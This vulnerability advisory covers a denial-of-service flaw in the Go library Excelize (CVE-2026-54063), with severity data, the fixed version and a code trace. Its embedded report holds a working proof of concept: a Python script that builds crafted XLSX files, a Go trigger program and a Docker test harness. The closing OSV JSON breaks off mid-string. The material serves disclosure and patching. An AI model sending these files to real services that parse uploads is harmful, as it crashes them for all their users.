CVE-2026-54063: Excelize Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-h69g-9hx6-f3v4
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2026-54063 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Excelize libraries in the Go ecosystem. The issue involves unbounded row index allocation in worksheet parser (checksheet oom/panic dos). Remediation is available by upgrading affected packages to version 2.11.0.

CVE-2026-54063 at a Glance

CVE Identifier CVE-2026-54063
GHSA Identifier GHSA-h69g-9hx6-f3v4
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Excelize
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-54063

To remediate this vulnerability, upgrade all affected Excelize dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/xuri/excelize/v2 fixed: 2.11.0
Upgrade github.com/xuri/excelize/v2 to 2.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/xuri/excelize/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54063, inspect your project dependencies for Excelize:

inspect dependencies for github.com/xuri/excelize/v2

Analyze the terminal output to locate any version of Excelize in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Excelize, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) ### Summary The `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `<row r="N">` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required. ### Details The vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element. **Data flow (source → sink):** 1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes. 2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`. 3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name. 4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`. 5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path. 6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`. 7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`. 8. `xmlWorksheet.go:302-312` — `<row r="...">` is deserialized into `xlsxRow.R int` with no validation (source). 9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; **sink**: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check. **Vulnerable code (`excelize.go:373-377`):** ```go if r.R != 0 && r.R > row { row = r.R } sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation ``` The constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled. **Variant A (`r = 2147483647`):** `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`. **Variant B (`r = -1`):** The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`. Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is: ``` panic: runtime error: index out of range [-2] goroutine 1 [running]: github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...) /excelize/excelize.go:381 github.com/xuri/excelize/v2.(*File).workSheetReader(...) /excelize/excelize.go:329 github.com/xuri/excelize/v2.(*File).getCellStringFunc(...) /excelize/cell.go:1494 github.com/xuri/excelize/v2.(*File).GetCellValue(...) /excelize/cell.go:72 main.main.func1(...) /excelize/cmd/poc/main.go:44 main.main() /excelize/cmd/poc/main.go:52 ``` **Recommended remediation (`excelize.go`):** ```diff -func (ws *xlsxWorksheet) checkSheet() { +func (ws *xlsxWorksheet) checkSheet() error { ... for i := 0; i < len(ws.SheetData.Row); i++ { r := ws.SheetData.Row[i] + if r.R < 0 { + return newInvalidRowNumberError(r.R) + } + if r.R > TotalRows { + return ErrMaxRows + } ... ws.SheetData = *sheetData + return nil } ``` ### PoC **Step 1: Generate the malicious XLSX** ```python import zipfile # Variant A: OOM → row = "2147483647" # Variant B: Panic → row = "-1" row = "-1" with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''') z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData> </worksheet>''') ``` **Step 2: Trigger the vulnerability** ```go package main import "github.com/xuri/excelize/v2" func main() { f, err := excelize.OpenFile("malicious.xlsx") if err != nil { panic(err) } defer f.Close() _, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make() if err != nil { panic(err) } } ``` **Expected results:** - Variant A (`r="2147483647"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137). - Variant B (`r="-1"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2). Both variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes. ### Impact This is a **Denial-of-Service** vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`). **Who is impacted:** - Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools). - CLI tools or batch jobs that parse user-supplied spreadsheet files. - Any application using the library to handle untrusted XLSX documents. The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() # CWE-770 — Allocation of Resources Without Limits or Throttling # Target: github.com/xuri/excelize/v2 @ commit f4a068b # # Exploit path: # GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet() # In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N"> # attribute is used directly as make([]xlsxRow, row) size with no bounds check. # # Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory # Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB) FROM golang:latest AS builder # Copy the vulnerable excelize library source (serves as the Go module) COPY repo/ /excelize/ # Copy the exploit main package written by poc.py COPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go WORKDIR /excelize # Build the exploit binary. # -mod=mod: allow Go to update go.sum for any transitive deps. # CGO_ENABLED=0: produce a statically-linked binary for the runtime stage. RUN CGO_ENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/ # Minimal runtime stage (golang image provides a libc for cgo-free binary too) FROM golang:latest COPY --from=builder /poc /poc ENTRYPOINT ["/poc"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Repository: qax-os/excelize Commit: f4a068b Exploit mechanism: xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and uses the attacker-controlled <row r="N"> attribute directly as the length argument to make([]xlsxRow, row) without any bounds validation against TotalRows (1,048,576). Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error Variant B (r=-1): first loop leaves row=0; second loop executes sheetData.Row[-1-1] → runtime panic: index out of range This script: 1. Writes exploit_main.go (the Go PoC binary source). 2. Creates two malicious XLSX files (one per variant). 3. Builds the Docker image. 4. Runs each variant and captures evidence. 5. Writes phase2_result.json with verdict. """ import json import os import subprocess import sys import textwrap import zipfile # --------------------------------------------------------------------------- # Paths # --------------------------------------------------------------------------- BASE_DIR = os.path.dirname(os.path.abspath(__file__)) PARENT_DIR = os.path.dirname(BASE_DIR) # Docker build context RESULT_FILE = os.path.join(BASE_DIR, "phase2_result.json") DOCKERFILE = os.path.join(BASE_DIR, "Dockerfile") IMAGE_NAME = "excelize-poc-vuln001" EXPLOIT_SRC = os.path.join(BASE_DIR, "exploit_main.go") PANIC_XLSX = os.path.join(BASE_DIR, "row_negative.xlsx") OOM_XLSX = os.path.join(BASE_DIR, "row_maxint.xlsx") # --------------------------------------------------------------------------- # Step 1 — Write the Go exploit source # --------------------------------------------------------------------------- EXPLOIT_GO = textwrap.dedent("""\ // exploit_main.go — PoC for VULN-001 // Triggers excelize checkSheet() unbounded allocation via malicious XLSX. package main import ( \t"fmt" \t"os" \t"runtime/debug" \texcelize "github.com/xuri/excelize/v2" ) func main() { \tif len(os.Args) < 2 { \t\tfmt.Fprintln(os.Stderr, "Usage: poc <xlsx_file>") \t\tos.Exit(1) \t} \tpath := os.Args[1] \tfmt.Printf("[*] Opening: %s\\n", path) \t// Wrap the call so we can print a structured panic message before exiting. \t// The panic itself is the evidence of exploitability. \tfunc() { \t\tdefer func() { \t\t\tif r := recover(); r != nil { \t\t\t\tfmt.Println("[VULN] PANIC CAUGHT — vulnerability confirmed") \t\t\t\tfmt.Printf("[VULN] panic value: %v\\n", r) \t\t\t\tfmt.Println("[VULN] Stack trace:") \t\t\t\tdebug.PrintStack() \t\t\t\tos.Exit(2) // exit 2 = exploitable crash (panic) \t\t\t} \t\t}() \t\tf, err := excelize.OpenFile(path) \t\tif err != nil { \t\t\tfmt.Printf("[!] OpenFile error: %v\\n", err) \t\t\tos.Exit(1) \t\t} \t\tdefer f.Close() \t\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet() \t\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled. \t\tfmt.Println("[*] Calling GetCellValue — entering checkSheet() sink") \t\tval, err := f.GetCellValue("Sheet1", "A1") \t\tif err != nil { \t\t\t// Some errors surface instead of panicking (e.g. allocation failures \t\t\t// that Go converts to errors in some configurations). \t\t\tfmt.Printf("[!] GetCellValue error: %v\\n", err) \t\t\tos.Exit(3) // exit 3 = error path (still abnormal) \t\t} \t\tfmt.Printf("[*] GetCellValue returned normally, value=%q (no crash)\\n", val) \t}() } """) def write_exploit_source() -> None: with open(EXPLOIT_SRC, "w") as fh: fh.write(EXPLOIT_GO) print(f"[+] Wrote exploit source: {EXPLOIT_SRC}") # --------------------------------------------------------------------------- # Step 2 — Build malicious XLSX files # --------------------------------------------------------------------------- CONTENT_TYPES = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' '<Default Extension="xml" ContentType="application/xml"/>' '<Override PartName="/xl/workbook.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' '<Override PartName="/xl/worksheets/sheet1.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' '</Types>' ) RELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"' ' Target="xl/workbook.xml"/>' '</Relationships>' ) WORKBOOK = ( '<?xml version="1.0" encoding="UTF-8"?>' '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"' ' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' '<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>' '</workbook>' ) WORKBOOK_RELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"' ' Target="worksheets/sheet1.xml"/>' '</Relationships>' ) def sheet_xml(row_r: str) -> str: return ( '<?xml version="1.0" encoding="UTF-8"?>' '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' f'<sheetData><row r="{row_r}"><c r="A1"><v>1</v></c></row></sheetData>' '</worksheet>' ) def build_xlsx(path: str, row_r: str) -> None: with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("[Content_Types].xml", CONTENT_TYPES) z.writestr("_rels/.rels", RELS) z.writestr("xl/workbook.xml", WORKBOOK) z.writestr("xl/_rels/workbook.xml.rels", WORKBOOK_RELS) z.writestr("xl/worksheets/sheet1.xml", sheet_xml(row_r)) print(f"[+] Created {os.path.basename(path)} (row r={row_r!r})") # --------------------------------------------------------------------------- # Step 3 — Docker helpers # --------------------------------------------------------------------------- def run_cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess: print(f"[>] {' '.join(str(x) for x in cmd)}") return subprocess.run( cmd, capture_output=True, text=True, timeout=timeout, ) def docker_build() -> tuple[bool, str]: result = run_cmd( [ "docker", "build", "--no-cache", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR, ], timeout=600, ) combined = result.stdout + result.stderr if result.returncode != 0: print(f"[-] docker build FAILED (rc={result.returncode})") print(combined[-4000:]) return False, combined print("[+] Docker image built successfully") return True, combined def docker_run_variant(label: str, xlsx_path: str, mem: str = "256m", timeout: int = 90) -> dict: """Run the exploit container against one XLSX file and return analysis dict.""" cmd = [ "docker", "run", "--rm", "--memory", mem, "--memory-swap", mem, "-v", f"{xlsx_path}:/input.xlsx:ro", IMAGE_NAME, "/input.xlsx", ] run_cmd_str = " ".join(cmd) try: result = run_cmd(cmd, timeout=timeout) rc = result.returncode stdout = result.stdout or "" stderr = result.stderr or "" except subprocess.TimeoutExpired: rc = -99 stdout = "" stderr = f"TIMEOUT after {timeout}s" combined = stdout + stderr print(f"\n--- {label} ---") print(f" exit code : {rc}") print(f" stdout : {stdout[:1200]}") print(f" stderr : {stderr[:1200]}") is_panic = any(kw in combined for kw in ( "index out of range", "PANIC CAUGHT", "runtime error", "goroutine ", "panic:", )) is_oom = any(kw in combined for kw in ( "out of memory", "cannot allocate", "fatal error", "makeslice", )) or rc == 137 # exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path crashed = rc != 0 and (is_panic or is_oom or rc in (2, 3, 137)) return { "label": label, "rc": rc, "is_panic": is_panic, "is_oom": is_oom, "crashed": crashed, "run_cmd": run_cmd_str, "snippet": combined[:1500].strip(), } # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main() -> None: print("=" * 65) print("VULN-001 PoC — excelize checkSheet() unbounded allocation DoS") print("=" * 65) # 1. Write Go exploit source (needed before docker build) write_exploit_source() # 2. Create malicious XLSX payloads build_xlsx(PANIC_XLSX, "-1") # Variant B: index OOB panic build_xlsx(OOM_XLSX, "2147483647") # Variant A: 2 GB+ make() → OOM # 3. Build Docker image build_cmd = ( f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}" ) build_ok, build_out = docker_build() if not build_ok: payload = { "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 " "'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 " "'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다." ), "build_command": build_cmd, "run_command": "", "poc_command": f"python3 {os.path.abspath(__file__)}", "evidence": build_out[-2000:], "artifacts": ["Dockerfile", "poc.py"], } with open(RESULT_FILE, "w") as fh: json.dump(payload, fh, indent=2, ensure_ascii=False) print(f"\n[!] FAIL result → {RESULT_FILE}") sys.exit(1) # 4. Run both variants ev_panic = docker_run_variant( "Variant B — r=-1 (index out of range panic)", PANIC_XLSX, mem="256m") ev_oom = docker_run_variant( "Variant A — r=2147483647 (OOM)", OOM_XLSX, mem="256m") # 5. Verdict passed = ev_panic["crashed"] or ev_oom["crashed"] if ev_panic["crashed"]: primary, primary_ev = "B (r=-1, panic)", ev_panic elif ev_oom["crashed"]: primary, primary_ev = "A (r=2147483647, OOM)", ev_oom else: primary, primary_ev = "B (r=-1, panic)", ev_panic # best-effort if passed: reason = ( f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). " f"Variant B(r=-1): rc={ev_panic['rc']}, panic={ev_panic['is_panic']}; " f"Variant A(r=2147483647): rc={ev_oom['rc']}, oom={ev_oom['is_oom']}. " "excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 " "컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명." ) verdict = "PASS" else: reason = ( "컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. " f"Variant B rc={ev_panic['rc']}, Variant A rc={ev_oom['rc']}. " "가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, " "(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. " "다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행." ) verdict = "FAIL" phase2 = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": build_cmd, "run_command": primary_ev["run_cmd"], "poc_command": f"python3 {os.path.abspath(__file__)}", "evidence": primary_ev["snippet"], "artifacts": ["Dockerfile", "poc.py"], } with open(RESULT_FILE, "w") as fh: json.dump(phase2, fh, indent=2, ensure_ascii=False) print(f"\n{'='*65}") print(f"Verdict : {verdict} (passed={passed})") print(f"Result → {RESULT_FILE}") print("=" * 65) if __name__ == "__main__": main() ```

CVE-2026-54063 Affected Excelize Versions

1 component(s)
Fixed Versions:
2.11.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/xuri/excelize/v2
Go
< 2.11.0
2.11.0

References

Frequently Asked Questions

What is CVE-2026-54063?
CVE-2026-54063 is a security vulnerability in Excelize involving Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Excelize versions are affected?
Affected versions include releases prior to 2.11.0 across affected packages: github.com/xuri/excelize/v2.
What version fixes CVE-2026-54063?
Upgrading to 2.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/xuri/excelize/v2 affected?
Yes, github.com/xuri/excelize/v2 is affected in releases prior to 2.11.0. Upgrade your dependency to 2.11.0 or later.
What is the CVSS score of CVE-2026-54063?
CVE-2026-54063 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-54063?
CVE-2026-54063 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-54063?
Run the dependency tree command: 'inspect dependencies for github.com/xuri/excelize/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h69g-9hx6-f3v4",
  "modified" : "2026-07-10T19:25:20Z",
  "published" : "2026-07-10T19:25:20Z",
  "aliases" : [ "CVE-2026-54063" ],
  "summary" : "Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)",
  "details" : "## Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)\n\n### Summary\nThe `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `<row r=\"N\">` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required.\n\n### Details\nThe vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element.\n\n**Data flow (source → sink):**\n\n1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes.\n2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`.\n3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name.\n4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`.\n5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path.\n6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`.\n7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`.\n8. `xmlWorksheet.go:302-312` — `<row r=\"...\">` is deserialized into `xlsxRow.R int` with no validation (source).\n9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; **sink**: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check.\n\n**Vulnerable code (`excelize.go:373-377`):**\n```go\nif r.R != 0 && r.R > row {\n    row = r.R\n}\nsheetData := xlsxSheetData{Row: make([]xlsxRow, row)}  // unbounded allocation\n```\n\nThe constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled.\n\n**Variant A (`r = 2147483647`):** `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`.\n\n**Variant B (`r = -1`):** The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`.\n\nDynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:\n```\npanic: runtime error: index out of range [-2]\n\ngoroutine 1 [running]:\ngithub.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)\n        /excelize/excelize.go:381\ngithub.com/xuri/excelize/v2.(*File).workSheetReader(...)\n        /excelize/excelize.go:329\ngithub.com/xuri/excelize/v2.(*File).getCellStringFunc(...)\n        /excelize/cell.go:1494\ngithub.com/xuri/excelize/v2.(*File).GetCellValue(...)\n        /excelize/cell.go:72\nmain.main.func1(...)\n        /excelize/cmd/poc/main.go:44\nmain.main()\n        /excelize/cmd/poc/main.go:52\n```\n\n**Recommended remediation (`excelize.go`):**\n```diff\n-func (ws *xlsxWorksheet) checkSheet() {\n+func (ws *xlsxWorksheet) checkSheet() error {\n     ...\n         for i := 0; i < len(ws.SheetData.Row); i++ {\n             r := ws.SheetData.Row[i]\n+            if r.R < 0 {\n+                return newInvalidRowNumberError(r.R)\n+            }\n+            if r.R > TotalRows {\n+                return ErrMaxRows\n+            }\n     ...\n     ws.SheetData = *sheetData\n+    return nil\n }\n```\n\n### PoC\n\n**Step 1: Generate the malicious XLSX**\n\n```python\nimport zipfile\n\n# Variant A: OOM   → row = \"2147483647\"\n# Variant B: Panic → row = \"-1\"\nrow = \"-1\"\n\nwith zipfile.ZipFile(\"malicious.xlsx\", \"w\", zipfile.ZIP_DEFLATED) as z:\n    z.writestr(\"[Content_Types].xml\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">\n<Default Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>\n<Default Extension=\"xml\" ContentType=\"application/xml\"/>\n<Override PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/>\n<Override PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/>\n</Types>''')\n    z.writestr(\"_rels/.rels\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/>\n</Relationships>''')\n    z.writestr(\"xl/workbook.xml\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\n          xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\">\n<sheets><sheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/></sheets>\n</workbook>''')\n    z.writestr(\"xl/_rels/workbook.xml.rels\", '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/>\n</Relationships>''')\n    z.writestr(\"xl/worksheets/sheet1.xml\", f'''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<worksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\">\n<sheetData><row r=\"{row}\"><c r=\"A1\"><v>1</v></c></row></sheetData>\n</worksheet>''')\n```\n\n**Step 2: Trigger the vulnerability**\n\n```go\npackage main\n\nimport \"github.com/xuri/excelize/v2\"\n\nfunc main() {\n    f, err := excelize.OpenFile(\"malicious.xlsx\")\n    if err != nil { panic(err) }\n    defer f.Close()\n    _, err = f.GetCellValue(\"Sheet1\", \"A1\")  // triggers checkSheet() → unbounded make()\n    if err != nil { panic(err) }\n}\n```\n\n**Expected results:**\n- Variant A (`r=\"2147483647\"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137).\n- Variant B (`r=\"-1\"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2).\n\nBoth variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes.\n\n### Impact\n\nThis is a **Denial-of-Service** vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`).\n\n**Who is impacted:**\n- Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).\n- CLI tools or batch jobs that parse user-supplied spreadsheet files.\n- Any application using the library to handle untrusted XLSX documents.\n\nThe attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()\n# CWE-770 — Allocation of Resources Without Limits or Throttling\n# Target: github.com/xuri/excelize/v2 @ commit f4a068b\n#\n# Exploit path:\n#   GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()\n#   In 